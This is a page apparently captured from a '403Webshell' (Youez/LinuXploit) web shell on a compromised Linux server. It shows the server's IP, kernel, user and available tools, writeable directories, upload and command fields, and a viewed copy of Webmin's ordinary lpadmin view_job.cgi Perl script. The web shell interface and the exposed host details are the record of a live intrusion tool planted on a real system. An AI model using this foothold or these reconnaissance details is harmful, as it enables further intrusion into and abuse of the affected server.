403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/lpadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/lpadmin/view_job.cgi
#!/usr/bin/perl
# view_job.cgi
# View an existing print job

require './lpadmin-lib.pl';
&ReadParse();

@jobs = &get_jobs($in{'name'});
foreach $j (@jobs) {
	$job = $j if ($j->{'id'} eq $in{'id'});
	}
($ju = $j->{'user'}) =~ s/\!.*$//;
&can_edit_jobs($in{'name'}, $ju) || &error($text{'view_ecannot'});
if ($job) {
	# print job exists.. dump it
	@pf = @{$job->{'printfile'}};
	$type = &backquote_command("file ".quotemeta($pf[0]), 1);
	if ($type =~ /postscript/i) {
		print "Content-type: application/postscript\n";
		}
	elsif ($type =~ /text/) {
		print "Content-type: text/plain\n";
		}
	else {
		print "Content-type: application/octet-stream\n";
		}
	foreach $pf (@pf) {
		@st = stat($pf);
		$total += $st[7];
		}
	print "Content-length: $total\n";
	print "\n";
	foreach $pf (@pf) {
		open(FILE, "<$pf");
		while(<FILE>) { print; }
		close(FILE);
		}
	}
else {
	&error(&text('view_egone', $in{'id'}));
	}


Youez - 2016 - github.com/yon3zu
LinuXploit